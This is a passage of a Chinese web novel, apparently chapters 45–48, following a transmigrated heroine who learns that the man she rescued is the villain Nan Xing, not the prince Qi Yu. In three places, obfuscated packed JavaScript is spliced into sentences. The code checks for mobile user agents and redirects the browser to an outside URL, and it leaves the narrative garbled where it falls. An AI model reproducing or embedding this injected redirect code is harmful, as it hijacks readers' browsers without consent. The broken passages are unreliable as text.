“衙门大堂之上,陈远在看到我拿出的木牌就已经知道了我的真实身份。” “所以,你和陈远其实是在演戏!”季妤出口打断道。 “算是吧。” 季妤气得一屁股坐了下来,“苏小姐,我好心帮你,你竟然利用我,要不是祁公子出现在牢房,我差点就让黄全给杀死了!” 想到在牢房里的惊险一幕,季妤还心有余悸,左手臂感知到了她的怒气,已经开始在隐隐作痛。 “对不起,这确实是我没考虑周全,季姑娘想要什么,我可以补偿你。”她堂堂出身高贵的世家女,接二连三的给一个平民女子道歉,若是这个平民女子还不识相的话,未免就太不知好歹了。 季妤气鼓鼓地扭过头去不看苏念可,她差点小命都没了,一句简简单单的补偿就能抵消的吗? 见季妤这样,苏念可也有些束手无策,她还从来没有好声好气地哄过别人,就在这时,南星微微靠了过来,用非常低的声音说:“木牌。” 季妤微微偏头,竖起耳朵去听,奈何南星刻意的压低声音,她什么都没听到。 而聪明如苏念可,她瞬间会意,对季妤道:“季姑娘,此事确实是我做的不对,不知五百两能否让季姑娘你消消气,原谅我呢?” “啊?”季妤有些心虚的缩回脖子,在听清楚了苏念可说了什么后,有些呆愣,不自觉间坐直了身子。突然一下子砸来这么多钱,让她有些晕头转向,不知所云了,感觉踩在了棉花上,整个身子都飘飘然。 “莫不是季姑娘嫌五百两太少了?”苏念可微微有些恼,这季妤看着单纯,没想到也是个狮子大开口的。不久前才收了南星给的七百两,这会子她给出五百两还不知足吗?她这条小命在她眼里还真不值五百两,若不是芷丹还需要她救治,她才懒得管她生不生气。 “没有没有,五百两可一点都不少。”季妤忙道。不知不觉间,气也消了大半,连她自己都未发觉。 五百两可太多了,有钱人真好啊,撒钱跟吃饭一样简单。 苏念可勾起嘴角,满意地看着季妤,还算识相。 “明日便给你五百两,至于芷丹,还要多麻烦你辛苦一点,希望明天就可以看到芷丹醒来。” “这,我尽量。” 苏念可环顾了一下屋内各处,道:“对了,我睡你的房间。” “可以,我不介意和你……”一起睡。 话还没说完,就见苏念可皱着眉头朝她看来,季妤忙改口道:“那我去收拾一下,让苏小姐睡得更舒适些。” 苏念可满意地点点头。 季妤暗自撇了撇嘴,好嘛,人家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好嘞,大小姐你稍等,我马上去做吃的给您。” 看着季妤往厨房去的身影,苏念可勾了勾唇角,真是没出息,一点钱就打发了。 …… 这边南星带着木牌再次来到钱庄取钱,钱庄掌柜看着似曾相识的木牌和男人,有些迟疑地问:“公子确定是取七百两?” 南星冷冷地一瞥,钱庄掌柜浑身一哆嗦,忙道:“公子稍等,我这就吩咐人去将钱取来。” 取了钱,路过乔四娘糕点铺,南星脚步一顿,迟疑了一会儿,抬脚便进去了。 “客官可是要买桃花酥?今日不巧,客官来晚了,桃花酥已经卖完了,若是想买,明日赶早哦。”糕点铺掌柜柳茜,看到有人进来后头也没抬,一边拨着算盘,一边翻看账本。 余光瞥见人影还在,却又不说话,只定定地站在那,柳茜心觉疑惑,抬头去看,霎时表情凝住,拨算盘的手停了下来,翻看账本的手也顿住,她有些不敢相信地看着眼前之人,定定地在他脸上看了许久,最后才迟疑着开口:“你……” 一时之间,却不知该问些什么,就又僵在那儿,眼睛依旧直勾勾地盯着。 南星平静道:“我买桃花酥。” “桃花酥已经卖完了,客官要不看看铺子里其它糕点,都是味道不错的。”从里间出来的清雪见状,忙上前道。 南星不理,依旧只是看着柳茜,柳茜理了理杂乱的思绪,笑着道:“正好还有一盒桃花酥,客官稍等,我这就去拿。” 里间,清雪问道:“茜姐姐,这盒桃花酥不是要留给桃桃的吗?若是你回去没给桃桃带桃花酥,她准要不高兴的。” 柳茜从柜子里取出桃花酥,道:“每日都给她带,只是今日不带而已,桃桃是个好孩子,不会计较的。” 清雪用怀疑的目光看着柳茜,似乎在说:这话说的是认真的?就桃桃那小丫头发起脾气来,屋顶都要掀了的程度,她会不计较? 不过柳桃是柳茜的女儿,她一个外人不好说些什么,只得附和般笑了两声。 “对了,茜姐姐,按理说今日桃花酥是卖完了的,为什么要破例给那个公子?”清雪好奇地问。 柳茜沉默了半晌,最终有些怀念道:“他,长得好像我一个好姐姐。” “诶?那他是你那个好姐姐的儿子吗?” 柳茜摇了摇头,复又叹了口气:“我不清楚,自从乔姐姐死后,那个孩子就不见了,我也再也没见过。” 从里间出来,柳茜将手里的桃花酥递给南星,脸上带着温柔的笑意,她见南星接过,掏出一两银子付钱时,忙道:“不用一两,二十文就行。” 南星表情一僵,抬眼看到女人望着他时,满眼期盼的神色,他抿了抿唇,固执地将一两银子放在了柜台上,然后扭头就走。 “等等!”柳茜忍不住喊道。 南星脚步一顿,没有回头。 “你……你是不是阿星。” “不是。” 回应柳茜的,是冷冷的两个字和一个冷漠的背影。 柳茜瘫坐在椅子上,满眼泪痕,清雪惊讶上前,取出帕子递过去,轻声问:“茜姐姐,你怎么哭了?” 柳茜接过帕子,在眼角处拭泪,喃喃道:“我知道他这是恨我,恨我当年没有救他阿娘……” 46. 第 46 章 等南星回来时,季妤已经操着完好的那只胳膊做了一锅面条。 看到南星高瘦的身影,季妤忙道:“你回来得正好,面条刚煮好,可以吃热乎的。” 南星将手里的那盒桃花酥递到季妤面前,季妤惊讶道:“你怎么买了桃花酥啊,这个很难买到的。” 南星微微一笑:“去得早,正好赶上最后一盒。” 季妤就着面前的木盆洗了个手,然后随意地在围裙上擦了擦,看了一眼南星后,道:“祁公子,你把桃花酥放桌上,一会儿吃完了面条,咱们再吃糕点。” 南星微微皱了眉头,道:“桃花酥是专程给你买的。” “啊?为啥是专程给我买的?”季妤微愣。 “因为你喜欢。”南星看着季妤的眼睛,神情专注,语气认真。 季妤表情有些不自然,手无意识地揪着围裙,“这不太好吧,你要是不喜欢吃,正好我和苏小姐一人两块。” 祁钰怎么会专程给她买桃花酥呢?感觉怪怪的,季妤偷偷瞄了一眼南星,见他直勾勾地盯着自己,心里莫名慌乱起来,于是赶紧将视线收回。 太奇怪了,他不是喜欢苏念可的吗?怎么能给其她姑娘买东西,还说什么“因为你喜欢”,太暧昧了这句话。这种话太容易被人误解了,若不是她非常清楚祁钰是喜欢苏念可的,她都要被这句话给说得脸红心跳了。 一个男人记住了你的喜好还专门去给你买来,而且还是很难买到的东西,换做谁,心里也会有点小小的触动吧。 “她不喜欢吃这些糕点。”南星冷淡道。 “谁说我不喜欢吃了?”苏念可睨了一眼南星,从他身边走过,顺手接过桃花酥,然后径直朝向季妤,笑道:“我可喜欢吃这种精致的糕点了,早就听闻宫里的姚贵妃娘娘最爱吃青州的桃花酥,我今日倒要尝尝是何等美味,让娘娘念念不忘。” 季妤一听这话,忙道:“既然这样,那这盒桃花酥都给你吧。” 苏念可瞥了一眼南星,见他表情很是冷淡,眉宇间透露出一股郁闷,苏念可勾唇笑了笑,转头看向锅里,道:“早膳吃面条吗?” 季妤点头道:“对,你们去院子里坐着吧,我盛好面条就端过去。” 话音刚落,只见面前出现一道身影,等季妤反应过来后,南星已经拿起了一个碗准备盛面条,他低声道:“你手上有伤,我来吧。” “那好吧。”季妤瞅了一眼南星的动作,发现挺稳当的,就放心地和苏念可出了厨房。 苏念可咬了一口桃花酥,细细咀嚼一番后得出结论:“还行。” “只是还行?”季妤不敢相信道,这桃花酥她当初吃了一口就惊艳到了,在她心里,桃花酥绝对排第一,到了苏念可这,仅仅只是还行? 看到苏念可将吃了一半的桃花酥放下就不准备吃了,季妤好奇地问:“苏小姐,你平日里是不是都吃的山珍海味啊!” 苏念可略微思索了一下,见季妤一双黑白分明的眼睛直勾勾地盯着自己,眼里满是好奇,于是勾了勾唇角,笑道:“对于你来说,确实是算得上山珍海味了。” 季妤擦了擦嘴角不存在的口水,笑道:“要是能有机会尝尝就好了。” 世家贵族平日里的吃食应该是十分精致美味的,若是她能吃上一回,也不枉穿书这一遭。 鉴于苏念可瞧不上桃花酥,所以剩下的三块都进了季妤的肚子里,可把季妤欢喜极了。 吃过早饭,苏念可拿出五百两银票递给季妤,季妤愣了一会儿,手在裙子上擦了擦,才伸手去接。 “本小姐说话算数。”苏念可高傲地抬了抬下巴。 季妤小心翼翼地将银票贴身放好,笑道:“苏小姐,还有十两银子呢?” 一听这话,苏念可微皱着眉:“什么十两银子。” “就我给你煮早饭的十两银子啊,苏小姐亲口说的。” 苏念可诧异道:“五百两还不够吗?还要计较这十两银子。” 季妤摇了摇头,神情十分认真:“这哪能一样,这是两码事,五百两是我的精神损失费,我可是差点因为你命都没了,而这十两银子是我忍着手臂上的伤痛给你做了早饭的。” 见季妤说得头头是道,苏念可无语地从钱袋里掏出十两银子递过去,没好气道:“这样可以了吧!” 季妤笑得眼睛眯成月牙状,“以后苏小姐要吃什么,尽管吩咐我,一餐只要十两银子,绝不坐地起价哦。” 苏念可忍不住白了季妤一眼,笑骂道:“你真是掉钱眼儿里去了。” 季妤嘿嘿一笑,调皮灵动又狡黠的神态尽收南星眼底,他嘴角微微上扬,也跟着忍不住笑了起来,等季妤不经意地瞥向他时,他又慌忙将笑脸掩藏,只是眉梢眼底的笑意还没来得及藏住,就被季妤发现了。 不过季妤以为南星是觉得她贪财的样子好笑才笑,所以有些尴尬地转移了视线,内心闪过一丝懊恼。 她是不是太贪财了,会不会给祁钰留下不好的印象,而且她还是从苏念可那拿了那么多钱,他会不会以为我是故意针对苏念可? 正当季妤内心挣扎着要不要把钱还给苏念可时,苏念可突然开口了:“我们两个一会儿要出去一趟,你在这里尽快将解药制作出来,最好今晚芷丹就能醒来。” 于是苏念可和南星走后,季妤便忙着研究制作解药,一直到天黑,苏念可和南星才终于回来了,而季妤的解药也已经制作出来了,只等给芷丹服下。 “解药制作出来了,我这就给芷丹服下。”季妤说完,才看到苏念可摆着一张臭脸,身后的南星倒是和平常没什么不一样,见到她时,甚至还微微笑了一下,虽然笑得有些僵硬就是。 “这是怎么了?”季妤疑惑着问,出门时还好好的,回来后就浑身透露着一股拒人千里之外的怒气。 苏念可径直越过季妤走进屋子,季妤眨了眨眼睛,看向南星,南星便给她解释道:“黄石的尸体不见了。” “啊!”季妤惊讶道:“为什么不见了?谁偷他尸体做什么?” “应该是那个人出现了。”南星表情有些凝重。 “那人到底是谁啊,一直听你们说那人那人的。”季妤有些郁闷道。 苏念可到底要引谁出来啊! “手里有千云册的人。” 季妤心里咯噔了一下,谁有千云册,她一个看过小说,了解小说剧情的人太清楚了。 苏念可为什么要引她出来?不惜给黄石下蛊毒,也要引她出来,到底为了什么事? “季妤,你知道千云册吗?”苏念可突然望向她。 季妤装作茫然地摇了摇头,答:“我不知道?是本书吗?” 苏念可眼睛紧紧地盯着季妤,不错过她脸上丝毫细微的变化,她又问:“你娘是苗疆女子,又是蓝氏一族,她没和你说过千云册?” 季妤小心地咽了咽口水,仍然摇头:“我娘在我很小的时候就去世了,就算我娘说过,我那时候太小,现在也记不得了。” 季妤表情太过坦然,既是苏念可原本还有些怀疑,但看到季妤这样,便也就打消了疑虑。 苏念可揉了揉眉心,疲倦道:“你去给芷丹服下解药吧。” 季妤听话地照做,服下解药后的芷丹,一刻钟之后便悠悠转醒了,在看到苏念可的那一刹那,顿时泪如雨下,嘴里委屈地喊着:“小姐,小姐你没事就好……” 苏念可眼里有几分动容,她握住芷丹的手轻柔地拍了拍她的手背,温柔道:“你感觉如何?” 芷丹哭着点头:“还好,只是小姐,世子让人给掳去了,是芷丹不好,进了狼窝,眼睁睁看人掳走了世子。” 苏念可一听这话,眉头又皱了起来,她取出一方手帕轻轻在芷丹眼角处拭泪,柔声道:“你先别哭,将发生的事仔细说与我听。” 季妤搬了个凳子做了下来,打算仔细听听,而南星悄然站在了她的身后。 “那夜客栈大火,我被惊醒后就去找小姐你,发现你门口的两个护卫都死了,房里有两个客栈的伙计倒在地上,我就猜到了定是这两个伙计起了色心要欺负小姐,而小姐肯定是遇到了好心之人救走了小姐你,所以我又跑到世子房间。” “我知道小姐重视世子,宁愿自己受伤也不愿世子有任何闪失,所以我把他背了起来,走出客栈后想着先去青州,因为这家客栈离青州最近,如果小姐被人所救,最有可能会在青州,而且我们本来就是要去青州的,所以如果我带着世子去青州,说不定在青州能与小姐回合。” “可是走在树林里,走着走着遇到了一辆马车,我当时心里很高兴,因为仅凭我一人背着世子去青州,这根本就很难,若是有马车就会容易很多。所以当时马车出现时我并没有多想,就直接过去询问可不可以载我们一程。” “那个马车夫是个五大三粗,面容凶神恶煞的男人,我还没开口问呢,他就骂骂咧咧地叫我滚开。不过马车里的人倒是态度温和,她答应让我们留下来,看到世子的情况还主动上前查看,原来她竟是会医术。” “谁知她看完世子的病后,乘着给我水喝的时候在水里下了药,我撑着眼皮不敢睡去,就那么眼睁睁地看着她们把世子带走了。” 说到这里,芷丹又是愧疚地哭了起来,弄丢了世子,她不仅不好同小姐交代,更不好同国公府交代,万一因此拖累了小姐,那就完了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“也对,芷丹,你好好休息,不要多想,我还得多谢你带来了那么好的线索,有你这些线索在,我便知道表哥准没事。”苏念可安抚好芷丹,三人便一同退出了屋子。 苏念可对一旁的南星道:“你也去查探一下,有消息赶紧回来告诉我。” 季妤有些目瞪口呆地看看苏念可,又看看南星,见他没有一点恼怒的样子,还乖巧的点头。 苏念可竟然用这样的语气和祁钰说话的吗?她虽然出身高贵,靖王还是她姨父,但毕竟不是她亲爹,人祁钰还是皇子呢,而且还是最受宠的皇子,不久后更是太子,她就这般以一种随意使唤人的语气使唤祁钰? 好吧,是她大惊小怪了,季妤撇了撇嘴,人家祁钰喜欢她,怎么可能因此恼怒,祁钰说不定可能因为苏念可使唤他而乐在其中呢! 所以这样看来,他们俩的关系倒也没有和书中所描述那般疏离? 因为书中写到祁钰虽然喜欢苏念可,但由于本身性格和身份原因,一直都是默默喜欢,在苏念可需要帮助时,挺身而出,所以他们两个之间的关系,乍一看还挺疏离的。 南星走后,季妤也有事要出去,她已经好几天没去寻芳楼了。虽然她现在已经是千两富婆,不必再为了画几张画赚那几两银子,但季妤此番去寻欢楼,已经不单单只是为了赚钱,更多的是,她爱看美人,也爱画美人。 能因为她画的一张画而博得美人一笑,她心中也甚是欢喜。 …… 寻芳楼依旧灯火通明,热闹非凡,季妤换好画师行头刚走到门口,就被素娥眼尖看到了,她扯住季妤的胳膊,嗔怪道:“季小画师,你怎么这么久才来?奴家好想你啊~” 季妤笑着瞪了她一眼,毫不留情地戳破她的假意:“是想我的画吧。” “讨厌~”素娥轻捶季妤胸口一下,“被你猜中了。” “还有不到三日便是花魁大赛了,楼里的几个姐妹正急得团团转,偏偏你又不知道什么时候来。”素娥抱怨道。 “抱歉啊,最近有点忙,今晚我都留在这里给你们画像可好?而且不收你们银子,算作是赔罪。” “那敢情好啊!”一旁的几个美人听了季妤这话,忙簇拥着上来将季妤围住,笑道:“季画师,先给我画。” “不,先给我画……” “你一会儿还要去陪刘公子,要不还是给我先画吧……” “不行不行,我先……” “我先……” 季妤无奈笑道:“好啦,谁先都一样,今晚我就是熬通宵,也会把你们每一个人都画完的。” “既如此,季画师快点上楼去……” 一群巧笑倩兮的美人们簇拥着一个清秀小子上了寻欢楼,直惹得恩客们纷纷羡慕嫉妒又恼怒…… 47. 第 47 章 寻欢楼里,歌舞升平,美人作陪,处处都是欢乐的气氛。 季妤画完第五张画像,忍不住揉了揉发酸的脖子和麻了一半的肩,眼里也已经有了疲倦之色。 “画好了吗?我看看?”雪伶端着温柔的笑从位置上起来,走到季妤面前微微俯身去看桌案上的画。 看到画纸上的美人那一刻,雪伶眼睛一亮,纤纤玉指忍不住在画纸上摩挲。这不仅将她刻画得惟妙惟肖,甚至还要美上几分,雪伶感激地朝季妤道:“季画师,多谢你将我画得如此好看。” 季妤微微一笑:“雪伶姐姐本就是极好看的人,我不过是还原美貌罢了。” 雪伶脸色微红,羞涩地垂下了头。 等雪伶拿着画离开后,季妤直接瘫倒在软榻上,一边吃着精致糕点,一边喝着美酒,等着下一个美人过来找她画像。 寻欢楼里至少有二十位美人,其中确定参与花魁大赛的有十余人,现在她才画到第五张画像,也就是说,至少还有五张要画。 恐怕真得画到天亮才能画完了,季妤叹了口气,找了个舒适的位置蜷缩在软榻上,寻欢楼的美人们都是白日休息晚上上班,是习以为常了,但她不一样,她作息正常,突然一下子熬通宵,人都要受不了了。 一番困意袭来,季妤忍不住打了个哈欠,揉了揉沉重的眼皮,她照了照镜子,发现自己的双眼皮变成了三眼皮。 季妤忍不住地咧开嘴笑了一下,她在很疲倦的时候,双眼皮会变成三眼皮甚至四眼皮,没想到穿书了,这个特质还在身上,也是有意思。 季妤欣赏了一会儿镜中的自己,突然感到有些奇怪,怎么那么久还没人进来?季妤将镜子放到一旁,起身走到门口,打开门的那一刹那,正好与一人相撞,鼻尖撞到一个硬物,疼得她痛呼了一声。 正要抬头去看罪魁祸首是谁,便被人拦腰抱住一把推进屋中,随着房门被关上的声音,一个很是耳熟的声音在耳边响起。 “季姑娘,你没事吧!”语气急切带着担心。 季妤一听这话,就知道面前抱住她的人是谁了,她用完好的那只手臂推了推,发现推不动,只得无奈道:“你先松开我。” 似是才反应过来自己的举动,南星慌乱地松开环住季妤腰的手,耳根红了一片,他微垂着头,眼神躲闪着根本就不敢看季妤,只盯着自己的脚尖,语气有些慌,道:“对不起,冒犯季姑娘了。” 季妤揉着鼻子,看着一脸局促紧张又慌乱的南星,忍不住问:“祁公子你怎么来寻欢楼了?是发生什么事了吗?” “那人藏在寻欢楼,她身边有一个武功极高之人,我差点被他们发现,情急之下便随便进了一间屋,正好是季姑娘这间。”南星简短地解释事情来龙去脉。 南星所说的那人,季妤自然知道,只是她有些好奇,蓝汐为什么要带着黄石的尸体藏在寻欢楼呢? 难道她觉得在寻欢楼里就是安全的吗?就没人会来找她? 南星说完微微抬头去看季妤,见她一直捂着鼻子,忍不住问:“季姑娘,方才一撞,你的鼻子没事吧?” 季妤摇了摇头,正想说还好,突然感觉一股热流从鼻腔里涌了出来,季妤伸手一摸,看到指尖都是鲜红的血。 “你流鼻血了,快坐下!”南星慌乱地摁住季妤的肩,将人强制压在软榻上坐下。 看着手足无措,双眉紧皱,一脸慌张的南星,季妤忙安慰道:“没事没事,只是流鼻血而已,我把鼻子堵上一会儿就行。” 说罢撕了一小块画纸揉成条状,塞入流鼻血的那只鼻孔,然后笑着对南星道:“你看,这样就好了。” “这样不行!” “诶?”季妤疑惑地看向南星,还没明白他说的不行是什么意思,额头上就传来微凉的触感,季妤瞪大眼睛看着突然靠近的俊脸,忍不住屏住呼吸。 他他他他这是要干嘛啊!为什么凑这么近!!! 季妤内心在咆哮,正胡思乱想着,温柔的嗓音在耳边响起了,“流鼻血了要仰头,还要拿湿帕子敷在额头上,这样血才能止住。” 这声音传到耳朵里,酥酥麻麻的,仿佛电流传遍至全身,季妤呆呆地眨巴了一下眼睛,浑身好似被定住了一般,就这么任由南星拔掉了她塞进鼻子里的纸团。 一股鲜血瞬间喷涌而出,顺着鼻孔一直流到下巴,再滴到衣服上。 季妤有些不解地看着南星:“你拔我塞的纸团做什么?” “脏。”非常简单的一个回答。 季妤一愣,不服道:“这纸哪里脏了,很干净的。” 南星拆开沾满血的纸团,认真道:“里面写了字。” 季妤捂着鼻子凑过去看了看,发现上面确实有几个毛笔字。 不过,这上面有她的鼻血,他不嫌脏?季妤这么想,也直接说了出来:“这上面,有我的鼻血,你,你还是赶紧扔了吧。” 说罢又在软榻上找了个手帕递给南星:“擦擦手上沾的血。” 南星接过帕子,并没有给自己擦手,而是对季妤道:“季姑娘,把头仰起来。” 听着这声音,季妤想都没想就要照做时,突然察觉到了不对劲,忙道:“不行,流鼻血仰头血会倒流的,到时候血都流喉咙里去了。” “这样不对吗?”南星皱着眉头问。 明明小时候他流鼻血时,阿娘就是这么教他的,虽然血确实流进了喉咙里,导致他被血呛住险些窒息,但后面血也的确止住了,所以,他一直以为这是正确的方法。 “当然不对啊!”季妤回道。 突然鼻子上传来布料柔软的触感,季妤低头去看,看到一只骨节分明的手正拿着一个帕子贴在她的鼻子下面,轻轻地擦拭着她脸上的血。 季妤怔了一下,回过神来后连忙往后缩了缩,想要避开他的动作,却因为人坐在软榻上而避无可避,因此内心一阵慌乱焦躁,不自觉地就舔了一下唇,谁知舌头触及到温热的触感,季妤猛地浑身一僵,整个人仿佛被施了定身术一样。 感受到脸颊处那只手微微颤抖了一下,季妤脸烧得慌,窘迫得更加不敢乱动了。时间仿佛就这么定格了几秒,就在季妤以为南星会收回手时,脸颊上又继续传来柔软布料擦过肌肤的触感。 他,为什么还要继续?季妤有些错愕地抬眸去望南星,映入眼帘的是张放大的俊脸,他正神情专注,动作轻柔地,继续擦着她脸上的血。 许是感受到了她的视线,季妤看到了他抬眼朝她看来,她内心一慌,本能地想要躲开,却撞进一双幽深的眸子,里面蕴藏着一丝不易被察觉,但只要仔细看,就能看出的情愫。 霎时间,季妤只觉脑子轰隆一声响,仿佛炸开了一道惊雷,又或许是炸开的烟花,心跳更是震耳欲聋。 “哇,是烟花,好美啊!” “快来看啊,好美的烟花!” “……” 外头嘈杂声四起,一片欢声笑语。季妤恍然大悟,喃喃道:“原来真的是烟花……” 南星收回手,被手帕掩盖住的手指微微发颤,他强压下内心的悸动与慌乱,瞥了一眼窗外,夜空中正绽放着绚烂的烟火,他扭过头看了季妤一眼,轻声问:“要不要出去看?” “你不怕被人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151333|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现吗?”季妤下意识问。 “你若是想看,我可以带你上屋顶看,屋顶一般没人会看到我们。” 耳边是烟花绽放和欢声笑语的声音,季妤内心有几分冲动,正要点头应下,一想到他是祁钰,是她的任务对象,季妤内心就仿佛被浇了一盆冷水,所有的热情都消失了。 她摸了摸鼻子,鼻血还在流,顺手又从桌案上撕了一小块画纸,团成条状塞进鼻孔里,然后才道:“我至少还有五张画没画呢,今晚就不回去了。一会儿恐怕要来人了,你赶紧走吧。” 察觉到季妤突然的态度冷淡,南星有些不适应,明明她的话和语气都很寻常,他却仍然能从中感觉到一丝丝的不对劲,这种感觉很微妙,让他猜不透,也悟不出。 季妤察觉到南星的沉默,手无意识地蜷缩了一下,心里更是乱成一团,她抬眼飞快地瞟了南星一眼,见他仍旧站在那里,身姿挺拔颀长,却莫名带着几分固执的意味。 季妤无声叹了口气,这到底算什么事啊,为什么祁钰会对她产生那种感情? 他应该喜欢苏念可才对啊! 照这么下去,她的系统任务还怎么完成?得把祁钰对她的那点喜欢扼杀在摇篮里才行。 “祁公子?”季妤试探性地出声。 南星恍若才回过神来一样,看了季妤一会儿,最后拱手道:“季姑娘作画时小心手臂上的伤,还有鼻子也小心,我就先走了。” “嗯,你快点回去吧,家里就苏小姐和芷丹,总归是不妥的。” 听到这话,南星面色一僵,没再看季妤一眼,径直越过她,直接翻窗而出。 季妤脱力般瘫倒在软榻上,望着窗外久久不能回神。 她和祁钰,是不是太暧昧了些?季妤在内心问自己。 在他靠近她的时候,她本应该躲开,于情于理都应该躲开的,虽然相处了一个月,但始终是只比陌生人要熟悉一点而已,这点熟悉,根本不足以让他们突破男女有别的防线,更何况,祁钰是喜欢苏念可的。 他都称苏念可为家人,说明苏念可对于他来说是很重要的人,既如此,又为什么对她露出那样的眼神? 没吃过猪肉也见过猪跑,那种眼神她不可能看不出来。 祁钰对她产生了喜欢的情感,他掩藏得很好,以至于她今天才发现。 还是说,祁钰根本就是个中央空调? 他不仅喜欢苏念可,还对她产生了不该有的感情。 季妤猛地坐直身子,仿佛发现了不得了的事。 【宿主你想多了】看到季妤胡思乱想,脑回路完全跑偏了,系统三七实在看不下去,打算出声提醒她。 【其实他只是个恶毒男配】 呼!终于说出口了,系统三七这段时间可把自己憋死了,一直以为宿主能自己慢慢察觉,最后它发现,以宿主的脑回路,没有它提醒,宿主直到被抹杀都不太可能猜到事情真相。 季妤当场石化,不可置信地喊道【什么恶毒男配,你说祁钰是恶毒男配?!怎么可能,他一点都不恶毒啊。】 系统三七无语地想要翻白眼,奈何它没有实体,便只得无奈道【你真是我带过最笨的宿主,没有之一。】 见季妤仍不明白,系统三七只好直白地告诉她【他是恶毒男配南星,根本就不是男二祁钰,宿主你,听明白了吗?】 【趁早改改计划,早点完成系统任务吧。】系统三七最后例行劝了一句,然后就下线了。 季妤木然地望着窗外,绚烂绽放的烟花多美啊,外面很是热闹,处处是欢声笑语,为什么她有一股想哭的冲动呢? 48. 第 48 章 季妤在房内等了又等,始终没有人再来找她作画,季妤干脆喊了系统出来。 【宿主,找三七何事?】 季妤毫不留情地控诉道【你为什么不提前告诉我,我捡的那个人是恶毒男配!】 【这还需要本系统提醒你么?宿主你用你的脑瓜子想想,你也该知道你捡错人了啊。原书是怎么描写男二的,需要本系统再给你念一遍原书?】 系统三七的语气让季妤觉得,如果它有实体且就站在她的面前,她准能看到它朝她一脸无语地翻着白眼,然后非常地鄙视她。 季妤懊恼道【其实我早该有所察觉的,唉,都怪当时沉浸在捡到人之后得到黄金百两和宅子的喜悦中,连那么明显的不对都能自我洗脑忽略。】 男二祁钰最明显的特征就是皮肤白皙,而她捡的那个是较深的小麦色皮肤,这么明显的不一样,她当初是有怀疑的,但是又翻到了他身上有祁钰的玉佩,后来他自己又自称祁钰,一来二去,她心里的那点疑虑就打消了。 不过,他为什么要自称祁钰呢,他完全可以随便捏造一个名字,毕竟祁钰这个名字,一旦报出来,很有可能会被追杀他的杀手发现。 季妤苦恼得抓了抓头发,心里正烦躁得很,偏偏系统三七又冷嘲热讽地开口了。 【别抓了,本来就天天顶着个鸡窝头,再抓,变成乞丐头了。】 季妤朝着空气瞪了一眼【你一个系统,怎么那么毒舌啊,你以前的宿主受得了你吗?】 系统三七不以为然道【不好意思,本系统至今为止只有你一个宿主。】 一听这话,季妤炸了【那你怎么还说我是你带过最差的宿主。】 【后面不是加上了没有之一嘛,就你一个宿主,可不就是最差的。】 季妤无语,且自闭了,独自窝在软榻上生闷气。 见季妤周遭都是低气压,好歹是自己带的第一个宿主,系统三七也不想她因为任务失败而抹杀,于是安慰道【好啦,其实你也不是一无是处,你看你会画画,会医术,又识字……】 季妤“噗嗤”一声笑出来了【哪有你这么安慰人的,会识字又不稀奇。】 【在你那个时代是不稀奇,但在这个以古代为背景的小说世界里,女子会识字,确实了不起哦】 季妤“哼”了一声,虽然仍旧是臭着一张脸,但嘴角却忍不住翘了起来。 看样子是哄好了,系统三七为自己捏了一把汗。 见季妤心情好转,系统三七也仿佛打开了话匣子,揶揄道【他不是祁钰不是正好?你可以继续喜欢他,他也可以继续喜欢你。】 季妤脸一红,反驳道【谁喜欢他了,我才没有。】 嘴上虽这么说,内心深处确实有几分庆幸,如果他是祁钰,她只能将那点悸动深埋心底,但现在他不是祁钰,所以…… 【可他偏偏是恶毒男配。】季妤皱着眉,所以她还是不能喜欢他,喜欢一个双手沾满鲜血的恶人,这让她难以接受。 系统三七沉默了,看着季妤又陷入苦恼中,它试探性地开口【其实,南星他到目前为止,虽然双手沾染过鲜血,但还没有杀过无辜之人,而且他不杀妇孺的。这样也不能接受吗?】 【可是书里有写他杀光了一村人,一村子的人不可能都是无辜的人,总有妇孺吧!】季妤冷硬道。 【这不还没发生这事嘛!你只要提前预防,让他避免屠村就好了。】 避免屠村吗?季妤喃喃道。 【有人来了,本系统先下线了。】 随着系统三七话音刚落,门口就传来脚步声,紧接着便是开门声。 季妤回神扭头去看,忙从软榻上下来:“怎么这么久才来你一个?你们都不着急要画像吗?” 素娥脸上闪过一丝慌乱,虽然掩藏得很好,但还是被季妤发现了,于是问道:“怎么了,可是发生了什么事?” 素娥眼神闪躲了一下,挤出一个笑容道:“没事,就是柳妈妈在给我们交代花魁大赛的事,嘱咐我们勤练才艺,一时耽误了时间,所以便来迟了。” 季妤狐疑地在素娥脸上看了许久,她的表情很不自然,像是遇到什么可怕的事而惊魂未定的样子,到底什么事会让素娥感到害怕呢? 似是才看到她鼻子上塞了纸团的怪异模样,又或许是为了转移话题,一向文雅的素娥突然露出夸张的表情,捂着嘴做惊讶状,喊道:“哎呀,你这鼻子是怎么了?” 知道素娥是在转移话题,季妤并没有拆穿,还是认真地回答了她:“流鼻血了,我拿纸堵了一下。” 说完伸手把鼻子上的纸团拔了下来,又用手摸了摸鼻子,是干燥的。 发现不流鼻血了,季妤顿时舒了口气。 素娥担心问:“可是作画累着了?这个时辰你本该在家中休息的,难为你熬那么晚,要不今晚便先画到这,明晚你再来?” 一想到回去还要面对南星,季妤就想逃避,还不如今晚就睡在寻欢楼。 “已经答应好要今晚给你们都画好,就不能食言,否则我岂不是成了言而无信的人?” 